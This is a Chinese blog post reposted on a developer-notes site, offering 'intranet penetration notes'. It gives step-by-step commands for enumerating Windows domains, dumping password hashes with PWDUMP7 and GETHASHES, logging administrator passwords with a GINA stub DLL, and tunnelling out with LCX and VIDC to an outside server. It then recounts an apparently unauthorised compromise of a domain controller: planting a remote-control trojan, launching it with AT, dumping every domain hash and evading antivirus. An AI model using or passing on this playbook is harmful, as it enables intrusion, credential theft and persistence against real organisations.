热门标签 | HotTags
当前位置:  开发笔记 > 运维 > 正文

内网渗透笔记

在我们的渗透过程中,很多大型网络的外部网站或是服务器不一定有用,当然外网也可以作为我们的一个突破口,毕竟没有经过尝试,我们也不知道里面的结构,至少在外部上我们可以获取一定的信息也说不定,但是对于内网,外网绝对不是我们的主要路径。很多时

在我们的渗透过程中,很多大型网络的外部网站或是服务器不一定有用,当然外网也可以作为我们的一个突破口,毕竟没有经过尝试,我们也不知道里面的结构,至少在外部上我们可以获取一定的信息也说不定,但是对于内网,外网绝对不是我们的主要路径。很多时候我们直接从外网入手,想进入内网,已变得越来越困难。

那面对内网,我们应该怎样做呢?有些什么可利用的?或者有些什么方法?下面,我们就来一起讨论下。

渗透,本身就是一个信息收集,然后分类归档,技术利用,从而达到目标。

那我们拿到一个内网的机器时,我们首要要做的事情就是要进入信息的收集,什么信息?很多。。。

1.收集信息。

  1-1. 不论什么途径获得的内网机器,确定他在内网后,我们首先就要了解这台机器的所属人员,如果我们的目标是公司,那我们就要了解这个人在公司里的职位,他是个什么身份,有多大的权利,这都关系到他在内网里的权限。因为,作为大公司,一个高权限的人他在内网里所要用到的东西就多,那么相对他的机器,当然权限就会比一般普通员工的高很多,这在我的渗透过程中是常见的。
既然有了他的机器,那么翻翻他的电脑这是必要的,如果你说要怎么翻,你可以尝试熟悉他的电脑甚至比他本人还熟,那你就算了解详细了。一台个人用的电脑,从上面翻出与他自己相关的一些信息,和大量公司信息应该是没有问题的,除非,这是台新电脑。

  1-2. 了解了一定的人员信息,期间你要记下你所掌握到的账号,密码这些重要数据,以后有一定的用,所以,在你渗之前,不妨建个记事本将重要信息保存起来,写个记事本不会浪费你多少时间。接下来,我们就应该对这个网络进行一定的了解,他是一般的内网,还是域?一般大公司都会用域的,我们只需要查一下就知道,要想对他进行渗透,你就必须了解他的网络拓补,当然,一些太具体的物理上我们是无法了解的,我们只能了解我们所能知道的。不管他是INT,DMZ,LAN,我们必须足够掌握。在这,我们就会用到一定的命令,相信大家应该都很熟悉。

ipconfig /all  查询一下本机的一些情况,IP段 网关 属于不属于域

net view  查询一些存在联系的机器,一般以机器名显示,我们需要对其PING出IP,一是方便查询哪些重要机器的IP,二是方便查询存在几个段

net view /domain  查询有几个域 因为大型网络里面一般不止一个域的

net group /domain   查询域里面的组

net user /domain   查询域用户

net group "domain admins" /domain   查询域管理用户组

这些都是我们需要了解的,当然有时候还会需要再查询一些信息,NET命令下你们都会找到,不需要我再重复,具体的情况具体分析问题。

2.信息归档

  2-1。有了信息,我们就要对信息进行一定的归档,将每个机器名所对应的IP归档,方便用时不会乱。

  2-2。查询出的用户,管理员,我们也必须归档。

  2-3。查询信息时可能出现的有利用价值信息必须归档。

3.技术利用

  3-1。不论是通过键盘记录。或者HASH的抓取,我们需要将账号,密码,邮箱,凡是涉及关键数据的全部保存,一方面是准备渗透的资料,二是防止当前利用机器会掉。

     3-1-1。利用远控的键盘记录进行抓取。

     3-1-2。利用PWDUMP7或者GETHASHES进行抓取HASH,然后破解。GETHASHES V1.4后 可以抓取域的全部HASH。

     3-1-3。用GINASTUB.DLL获取管理员的账号和密码。因为域管理员有权限登陆任何一台机器。种上这个只是方便记录他所登陆的密码。INSTALL后,会在SYSYTEM32下生成一个 FAXMODE.INC 文件记录密码。

  3-2。有了内网,很多东西我们是没有必要直接在当前利用机器上操作的,别人虽然是内网,但是不他没有防御系统,所以,我们建立SOCKS或者VPN是很有必要的,建立SOCKS相信大家都会了吧。

     3-2-1。我在这推荐 VIDC 这个工具,很方便,在CMD下直接操 VIDC.EXE -D -P PORT 就可以了。

     3-2-2。在利用机器上使用LCX,CMD下 LCX.EXE -SLAVE 服务器IP PORT 127.0.0.1 PORT,然后到服务器上 CMD下 LCX.EXE -LISTEN 服务器IP PORT 任意PORT。

     3-2-3。建立SOCKS后在本地可以用SOCKSCAP来进行连接,成功连接后该操作什么就看你们自己了。


基本上我们就只能操作这么多了,后面已经没有什么技术上的再使用或利用,但是这中间的经验不少,所需要处理的细节也不少。

我们在得到内网机器后,如果他存在域,但是没有使用域账号怎么办?那我们只能查询或者想尽一切手段获得他常用的账号密码,然后利用这个账号密码,再通过SOCKS进入域。这其中就关系到各位同行查看控制机器的文件,还有记录密码,GINA,HASH破解,这些都是必须的。
进入域后,我们又该怎么做,建立SOCKS后又该怎么做。我们可以扔S上去查看主要的端口,我们可以对端口进行弱口令的尝试,我们可以针对内网的WEB进行检测,方式很多,甚至你可以用MS08-067对另一台机器进行突破,但是相信我,能使用域的机器,大部分都是补丁打齐的。我们能利用的很少,但是不能灰心,只要能在内网穿梭,我们至少在防御上会轻松很多,我们需要的只是耐心和时间。
一旦拥有密码,我们就可以尝试IPC连接,直接拿下域,这就得看你们的权限有多大。

net use \\IP\ipc$ password /user:username@domain

推荐使用这样的方式输入账号和密码,为什么?如果用户名存在空格,你这样输会保险些。什么 域用户不能存在空格?

是的,以前我也认为不会,微软的讲师也说不会,不过,经过我的测试和经验,那是假的,域 完全可以空格,除了 user name 这样的,还可以存在 user na me   ,不信 你可以试试。

建立IPC后,你只是想COPY文件 或者 RAR文件 再或者种马 那就是你的自由了。

后话:最近因为在渗域,在渗透过程中,也确实出现一些问题,几次都是不知如何进行,其实在技术上,并没有什么障碍。主要是在于对方有着比较强的主防御,而我的远控最开始连CMD都无法执行,后经过几天的环境测试,突破了CMD。有了CMD后,进行了查询,获得了一些信息,就开始了往下的渗透,被控机器的密码我不是跑出来的,我是翻他的文件翻出他常用密码的。因为他没有使用域账号,都是以系统账号登陆,所以无法查看域。我只能用他的域账号建立IPC连接,查找到内网的一个WEB服务,将其渗透后才算拿下了一个稳定的内网机器。

拿下内网WEB服务器后,我就已经完全在域内,没有使用HASH INJECTION,我是先查询了DOMAIN ADMINS,发现WEB服务器上的账号就属于这个组,PW后得到了HASH,破解掉我就连向了域控服务器的IPC$。
连接了IPC$,直接在其SYSYTEM32下扔了一个远控,然后用AT命令将其启动,这期间我尝试了5个SHIFT,但是SHIFT关闭后,我的远控也会掉,所以排除了这种方法,还是用AT来ADD NEW JOB 比较方便。

给域控服务器种了远控,利用CMD来GETHASHES了全部的HASHES进行破解,很幸运的查到了文件管理组的用户,这才有了我后面的目标达成。

总的来说,我这次的渗透比较运气好,中间麻烦事不是太多,不过也花了半个月的时间,时间大部分花在测试防御环境,软件免杀,木马免杀,查找资料这些上面。

后来,我获取了他的网络拓补图,发现我所呆的区域只是一个小小的域,还有好几个域我还没有涉及到,在域的前面是DMZ,而DMZ前面当然是INT了


推荐阅读
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了使用AJAX的POST请求实现数据修改功能的方法。通过ajax-post技术,可以实现在输入某个id后,通过ajax技术调用post.jsp修改具有该id记录的姓名的值。文章还提到了AJAX的概念和作用,以及使用async参数和open()方法的注意事项。同时强调了不推荐使用async=false的情况,并解释了JavaScript等待服务器响应的机制。 ... [详细]
  • PHP设置MySQL字符集的方法及使用mysqli_set_charset函数
    本文介绍了PHP设置MySQL字符集的方法,详细介绍了使用mysqli_set_charset函数来规定与数据库服务器进行数据传送时要使用的字符集。通过示例代码演示了如何设置默认客户端字符集。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 本文介绍了在Hibernate配置lazy=false时无法加载数据的问题,通过采用OpenSessionInView模式和修改数据库服务器版本解决了该问题。详细描述了问题的出现和解决过程,包括运行环境和数据库的配置信息。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了如何找到并终止在8080端口上运行的进程的方法,通过使用终端命令lsof -i :8080可以获取在该端口上运行的所有进程的输出,并使用kill命令终止指定进程的运行。 ... [详细]
  • 禁止程序接收鼠标事件的工具_VNC Viewer for Mac(远程桌面工具)免费版
    VNCViewerforMac是一款运行在Mac平台上的远程桌面工具,vncviewermac版可以帮助您使用Mac的键盘和鼠标来控制远程计算机,操作简 ... [详细]
  • 本文详细介绍了云服务器API接口的概念和作用,以及如何使用API接口管理云上资源和开发应用程序。通过创建实例API、调整实例配置API、关闭实例API和退还实例API等功能,可以实现云服务器的创建、配置修改和销毁等操作。对于想要学习云服务器API接口的人来说,本文提供了详细的入门指南和使用方法。如果想进一步了解相关知识或阅读更多相关文章,请关注编程笔记行业资讯频道。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 如何基于ggplot2构建相关系数矩阵热图以及一个友情故事
    本文介绍了如何在rstudio中安装ggplot2,并使用ggplot2构建相关系数矩阵热图。同时,通过一个友情故事,讲述了真爱难觅的故事背后的数据量化和皮尔逊相关系数的概念。故事中的小伙伴们在本科时参加各种考试,其中有些沉迷网络游戏,有些热爱体育,通过他们的故事,展示了不同兴趣和特长对学习和成绩的影响。 ... [详细]
author-avatar
pacer猫处
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有